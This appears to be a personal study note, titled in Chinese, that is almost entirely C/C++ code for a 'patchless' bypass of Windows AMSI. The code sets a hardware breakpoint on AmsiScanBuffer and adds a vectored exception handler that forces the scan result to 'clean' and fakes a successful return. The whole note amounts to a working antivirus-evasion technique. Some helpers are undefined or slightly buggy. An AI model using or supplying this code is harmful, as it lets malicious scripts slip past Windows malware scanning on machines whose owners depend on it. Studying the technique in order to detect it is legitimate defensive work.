patchless amsi学习

/* Initialize context structure */CONTEXT context = { 0 };context.ContextFlags = CONTEXT_ALL;
/* Fill context structure with current thread context */GetThreadContext(GetCurrentThread(), &context);
/* Set a local 1-byte execution hardware breakpoint on 'test_func' */context.Dr0 = (DWORD64)&test_func;context.Dr7 = 1 << 0;context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
/* Set the context */SetThreadContext(GetCurrentThread(), &context);

PVOID g_amsiScanBufferPtr = nullptr;

HANDLE setupAMSIBypass(){
    CONTEXT threadCtx;    memset(&threadCtx, 0, sizeof(threadCtx));    threadCtx.ContextFlags = CONTEXT_ALL;
      //Load amsi.dll if it hasn't be loaded alreay.    if(g_amsiScanBufferPtr == nullptr){        HMODULE amsi = GetModuleHandleA("amsi.dll");
        if(amsi == nullptr){            amsi = LoadLibraryA("amsi.dll");        }
        if(amsi != nullptr){            g_amsiScanBufferPtr = (PVOID)GetProcAddress(amsi, "AmsiScanBuffer");        }else{            return nullptr;        }
        if(g_amsiScanBufferPtr == nullptr)            return nullptr;    }
      //add our vectored exception handle    HANDLE hExHandler = AddVectoredExceptionHandler(1, exceptionHandler);
      //Set a hardware breakpoint on AmsiScanBuffer function    if(GetThreadContext((HANDLE)-2, &threadCtx)){        enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0);        SetThreadContext((HANDLE)-2, &threadCtx);    }
    return hExHandler;}

unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {    unsigned long long mask = (1UL << bits) - 1UL;    dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);     return dw;}//该函数的作用是将 dw 中从位置 lowBit 开始的 bits 个二进制位的值设置为newValue，并返回修改后的 dw。void enableBreakpoint(CONTEXT& ctx, PVOID address, int index) {
      switch (index) {          case 0:              ctx.Dr0 = (ULONG_PTR)address;              break;          case 1:              ctx.Dr1 = (ULONG_PTR)address;              break;          case 2:              ctx.Dr2 = (ULONG_PTR)address;              break;          case 3:              ctx.Dr3 = (ULONG_PTR)address;              break;      }
      //Set bits 16-31 as 0, which sets      //DR0-DR3 HBP's for execute HBP      ctx.Dr7 = setBits(ctx.Dr7, 16, 16, 0);
      //Set DRx HBP as enabled for local mode      ctx.Dr7 = setBits(ctx.Dr7, (index * 2), 1, 1);      ctx.Dr6 = 0;}

static ULONG_PTR getArg(CONTEXT* ctx, int index){
#ifdef __x86_64        switch(index){            case 0:                return ctx->Rcx;            case 1:                return ctx->Rdx;            case 2:                return ctx->R8;            case 3:                return ctx->R9;            default:                return *(ULONG_PTR*)(ctx->Rsp+((index+1)*8));        }#else        return *(DWORD_PTR*)(ctx->Esp+(index+1*4));#endif
}
static ULONG_PTR getReturnAddress(CONTEXT* ctx){#ifdef __x86_64        return *(ULONG_PTR*)ctx->Rsp;#else        return *(ULONG_PTR*)ctx->Esp;#endif}
static void setResult(CONTEXT* ctx, ULONG_PTR result){#ifdef __x86_64        ctx->Rax = result;#else        ctx->Eax = result;#endif}
static void adjustStackPointer(CONTEXT* ctx, int amount){#ifdef __x86_64        ctx->Rsp += amount;#else        ctx->Esp += amount;#endif}
static void setIP(CONTEXT* ctx, ULONG_PTR newIP){#ifdef __x86_64        ctx->Rip = newIP;#else        ctx->Eip = newIP;#endif}
LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions){
    if(exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && exceptions->ExceptionRecord->ExceptionAddress == g_amsiScanBufferPtr){
        //Get the return address by reading the value currently stored at the stack pointer         ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);                //Get the address of the 5th argument, which is an int* and set it to a clean result        int* scanResult = (int*)getArg(exceptions->ContextRecord, 5);        *scanResult = AMSI_RESULT_CLEAN;
            //update the current instruction pointer to the caller of AmsiScanBuffer         setIP(exceptions->ContextRecord, returnAddress);                    //We need to adjust the stack pointer accordinly too so that we simulate a ret instruction        adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));                    //Set the eax/rax register to 0 (S_OK) indicatring to the caller that AmsiScanBuffer finished successfully         setResult(exceptions->ContextRecord, S_OK);
            //Clear the hardware breakpoint, since we are now done with it        clearHardwareBreakpoint(exceptions->ContextRecord, 0);
        return EXCEPTION_CONTINUE_EXECUTION;
    }else{        return EXCEPTION_CONTINUE_SEARCH;    }}